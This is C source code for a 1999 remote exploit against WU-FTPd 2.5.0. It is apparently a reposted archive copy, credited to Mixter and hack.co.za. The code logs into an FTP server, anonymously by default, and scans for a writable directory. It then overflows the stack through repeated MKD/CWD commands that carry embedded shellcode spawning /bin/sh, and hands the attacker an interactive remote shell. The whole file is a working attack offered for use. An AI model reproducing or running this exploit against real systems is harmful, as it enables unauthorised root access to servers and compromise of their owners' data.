/* * (Yet another) WU-FTPd 2.5.0 exploit * Searches for writable path and overflows * * (c) 1999 Mixter * http://members.tripod.com/mixtersecurity * * Target platforms: RedHat5 / RedHat6 / Debian Linux */ #define PADDING 15 /* buffer size / 255 - hint, this can vary */ // #define PADDING 8 /* try this for debian */ // #define PADDING 2 /* redhat 5.2 source compilation */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define FTPPORT 21 #define sockw(x) write(fd,x,strlen(x)); int port (int, char *); int eval_list (char *); char path[1024]; char path2[2048]; static char *hellcode1 = "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31" "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb" "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01" "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80" "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e" "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01" "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c" "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x0b\x8b\x0c\x08\x0a"; static char *hellcode2 = "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31" "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb" "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01" "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80" "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e" "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01" "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c" "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x01\x8b\x0c\x08\x0a"; void usage (char *arg) { printf ("wu25 writable path exploit by Mixter \n"); printf ("usage: %s [user] [pass]\n", arg); exit (0); } int ftptest (int fd, char *us3r, char *p4ss) { char buff[1024]; u_int nl = sizeof (struct sockaddr_in); FILE *fp; struct sockaddr_in sock; struct sockaddr_in s; getpeername (fd, (struct sockaddr *) &sock, &nl); fp = fdopen (fd, "r"); sockw (us3r); sockw (p4ss); do { if (fgets (buff, sizeof (buff), fp) == NULL) break; switch (atoi (strtok (buff, " "))) { case 530: fclose (fp); return (0); break; case 230: getsockname (fd, (struct sockaddr *) &s, &nl); if (port (fd, inet_ntoa (s.sin_addr))) return (1); break; } } while (atoi (strtok (buff, " ")) != 230); fclose (fp); return (0); } int port (int fd, char *h) { int i, sockfd, new_fd; u_int sl = sizeof (struct sockaddr_in); struct sockaddr_in my_addr; struct sockaddr_in s; struct sockaddr_in their_addr; FILE *fp; char h2[1024]; if ((sockfd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == -1) { return (0); } bzero (&(my_addr.sin_zero), 8); my_addr.sin_family = AF_INET; my_addr.sin_port = 0; my_addr.sin_addr.s_addr = INADDR_ANY; if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) == -1) { return (0); } if (listen (sockfd, 1) == -1) { return (0); } getsockname (sockfd, (struct sockaddr *) &s, &sl); for (i = 0; i != (int) strlen (h); i++) if (h[i] == '.') h[i] = ','; for (i = 4; htons (i + 1) < ntohs (s.sin_port); i++); snprintf (h2, sizeof (h2), "PORT %s,%d,%d\r\n", h, i, ntohs (s.sin_port) - htons (i)); sockw (h2); sockw ("LIST -lAR\r\n"); if ((new_fd = accept (sockfd, (struct sockaddr *) &their_addr, &sl)) == -1) { return (-1); } fp = fdopen (new_fd, "r"); if (!fp) { return (0); } while (fgets (h2, sizeof (h2), fp) != NULL) { if (eval_list (h2)) return (1); } sockw ("QUIT\r\n"); close (sockfd); return (0); } int eval_list (char *l) { char *tmp, *m; tmp = l + strlen (l); while (*(--tmp) != ' '); tmp++; m = strtok (l, " "); if (m[strlen (m) - 3] == ':') { snprintf (path, sizeof (path), "%s", strtok (m, ":")); } snprintf (path2, sizeof (path2), "%s/%s", path, tmp); if (m[0] != 'd') return (0); if (m[strlen (m) - 2] == 'w' && m[strlen (m) - 3] == 'r') { memset (path, 0, 1024); if (path2[0] == '/') sprintf(path, "/%s", path2); else sprintf(path, "%s", path2); return (1); } return (0); } void termio (int p, int c) { char buf[1024]; fd_set rfds; int i; while (1) { FD_ZERO (&rfds); FD_SET (p, &rfds); FD_SET (c, &rfds); if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return; if (FD_ISSET (c, &rfds)) { if ((i = read (c, buf, sizeof (buf))) < 1) return; write (p, buf, i); } if (FD_ISSET (p, &rfds)) { if ((i = read (p, buf, sizeof (buf))) < 1) return; write (c, buf, i); } } } u_long resolve (char *host) { struct hostent *he; struct sockaddr_in tmp; if (inet_addr (host) != -1) return (inet_addr (host)); he = gethostbyname (host); if (he) { memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length); return (tmp.sin_addr.s_addr); } return (0); } int main (int argc, char **argv) { char user[30], pass[30]; struct sockaddr_in target; int fd = socket (AF_INET, SOCK_STREAM, 0), c; char ugly_a[256]; memset (ugly_a, 0x90, 256); ugly_a[255] = '\0'; if (argc < 2) usage (argv[0]); if (argc > 2) { if (argc == 3) usage (argv[0]); snprintf (user, 30, "USER %s\r\n", argv[2]); snprintf (pass, 30, "PASS %s\r\n", argv[3]); } else { snprintf (user, 30, "USER anonymous\r\n"); snprintf (pass, 30, "PASS anonymous@\r\n"); } target.sin_family = AF_INET; target.sin_port = htons (FTPPORT); target.sin_addr.s_addr = resolve (argv[1]); if (target.sin_addr.s_addr == 0) usage (argv[0]); c = connect (fd, (struct sockaddr *) &target, sizeof (struct sockaddr)); if (c < 0) { printf ("Connection error: %s\n", strerror (errno)); exit (0); } printf ("Connected to %s: ", argv[1]); read (fd, path, 1024); printf ("%s\nScanning for writeable directory... ", path); fflush (0); sleep (1); if (!ftptest (fd, user, pass)) { printf ("nope.\n"); exit (0); } printf ("found at: %s\n", path); printf ("Overflowing stack... "); snprintf (path2, 1024, "CWD %s\n", path); sockw (path2); sleep (1); snprintf (path2, 1024, "MKD %s\nCWD %s\n", ugly_a, ugly_a); for (c = 0; c < PADDING; c++) sockw (path2); sleep (1); sockw ("MKD "); sockw (hellcode1); sockw ("CWD "); sockw (hellcode1); sleep (1); sockw ("MKD "); sockw (hellcode2); sockw ("CWD "); sockw (hellcode2); printf("Overflow sent...\n"); dup2 (0, 0); dup2 (1, 0); dup2 (2, 0); termio(0,fd); return (0); } /* www.hack.co.za [2000]*/